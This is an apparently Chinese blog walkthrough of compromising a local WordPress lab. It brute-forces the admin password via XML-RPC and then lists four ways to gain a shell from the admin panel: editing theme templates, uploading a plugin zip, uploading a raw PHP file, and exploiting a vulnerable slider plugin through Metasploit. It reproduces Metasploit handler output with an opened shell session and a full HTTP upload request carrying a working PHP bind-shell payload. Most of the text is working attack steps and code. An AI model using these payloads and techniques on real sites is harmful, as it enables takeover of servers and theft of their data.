| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
获得用户名may,爆破密码
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
Progress Time: 00:00:00 <===========================================================================================================> (0 / 0) 100.0% Time: 00:00:00
WARNING: Your progress bar is currently at 0 out of 0 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Progress Time: 00:00:00 <===========================================================================================================> (0 / 0) 100.0% Time: 00:00:00
[SUCCESS] - may / 123456
All Found
得到用户名密码may/123456
得到管理员用户密码就可以使用后台getshell的常用手法 下文将演示常见方法
方法1、修改模板
后台 -> 外观 -> 编辑
通过在index.php、404.php等模板中嵌入恶意代码进行正向或反连shell
嵌入php_reverse_shell.php代码
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
使用metasploit等工具建立监听
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/reverse_php):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 0.0.0.0 yes The listen address (an interface may be specified)
LPORT 9999 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
更新index.php后访问wordpress首页即可接收到shell
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:9999
[*] Command shell session 10 opened (192.168.0.106:9999 -> 192.168.0.106:58096) at 2024-01-22 20:54:00 +0800
Shell Banner:
Linux 2036cf3ffda3 6.5.13-orbstack-00121-ge428743e4e98 #1 SMP Wed Dec 27 10:22:46 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux
12:53:55 up 1:07, 0 users, load average: 1.32, 1.06, 0.89
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
方法2、zip上传
将php_reverse_shell.php压缩为zip 在插件安装页面上传zip
建立监听 稍等片刻即可获得shell
方法3、php上传
直接在插件安装页面上传php_reverse_shell.php 然后在/wp-content/includes/中访问
上传过程中会发生报错 但不影响文件正常上传和访问
方法4、安装脆弱插件
比如安装wp_responsive-thumbnail-slider 1.0
https://github.com/wp-plugins/wp-responsive-thumbnail-slider/blob/master/wp-responsive-images-thumbnail-slider.php
安装并启用后使用metasploit的multi/http/wp_responsive_thumbnail_slider_upload模块进行攻击
但在使用这个模块时发现攻击不成功 打开msfconsole的httptrace功能 检查一下交互流量
shell上传流量 响应状态码200 检查后发现文件上传成功
POST /wp-admin/admin.php?page=responsive_thumbnail_slider_image_management/&action=addedit HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_logged_in_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7C813c527b5d99bb083c2e43068cc63c66c41836fc5d3fc42883b8390f8da744a2;
Content-Type: multipart/form-data; boundary=---------------------------743289811480519521793446209521
Content-Length: 2471
-----------------------------743289811480519521793446209521
Content-Disposition: form-data; name="image_name"; filename="KSXrN.php"
Content-Type: image/jpeg
<?php @unlink(__FILE__); /*<?php /**/ @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0); $BDQbE=@ini_get('disable_functions'); if(!empty($BDQbE)){ $BDQbE=preg_replace('/[, ]+/',',',$BDQbE); $BDQbE=explode(',',$BDQbE); $BDQbE=array_map('trim',$BDQbE); }else{ $BDQbE=array(); } $port=9999; $scl='socket_create_listen'; if(is_callable($scl)&&!in_array($scl,$BDQbE)){ $sock=@$scl($port); }else{ $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); $ret=@socket_bind($sock,0,$port); $ret=@socket_listen($sock,5); } $msgsock=@socket_accept($sock); @socket_close($sock); while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) { $o = ''; $c=@socket_read($msgsock,2048,PHP_NORMAL_READ); if(FALSE===$c){break;} if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ if (FALSE !== stristr(PHP_OS, 'win' )) { $c=$c." 2>&1\n"; } $PFeofv='is_callable'; $jikigJe='in_array'; if($PFeofv('shell_exec')&&!$jikigJe('shell_exec',$BDQbE)){ $o=`$c`; }else if($PFeofv('exec')&&!$jikigJe('exec',$BDQbE)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($PFeofv('system')&&!$jikigJe('system',$BDQbE)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($PFeofv('passthru')&&!$jikigJe('passthru',$BDQbE)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else if($PFeofv('popen')&&!$jikigJe('popen',$BDQbE)){ $fp=popen($c,'r'); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else if($PFeofv('proc_open')&&!$jikigJe('proc_open',$BDQbE)){ $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else { $o=0; } } @socket_write($msgsock,$o,strlen($o)); } @socket_close($msgsock); ?>
-----------------------------743289811480519521793446209521
Content-Disposition: form-data; name="imagetitle"
KSXrN
-----------------------------743289811480519521793446209521
Content-Disposition: form-data; name="btnsave"
Save Changes
-----------------------------743289811480519521793446209521--
接下来模块访问了/wp-content/uploads/wp-responsive-images-thumbnail-slider/0c2a53f9bbc963addd5de93663f4a35d.php
GET /wp-content/uploads/wp-responsive-images-thumbnail-slider/0c2a53f9bbc963addd5de93663f4a35d.php HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_logged_in_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7C813c527b5d99bb083c2e43068cc63c66c41836fc5d3fc42883b8390f8da744a2;
但我们到/wp-content/uploads/wp-responsive-images-thumbnail-slider/发现文件名与模块访问的文件不一致
导致响应404 msf自然就没有接收到shell
猜测这是wordpress版本差异 文件的命名方式有所不同导致的问题
在实际渗透中 可以通过插件漏洞手动上传php_reverse_shell.php 然后进行访问反弹shell
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
没有评论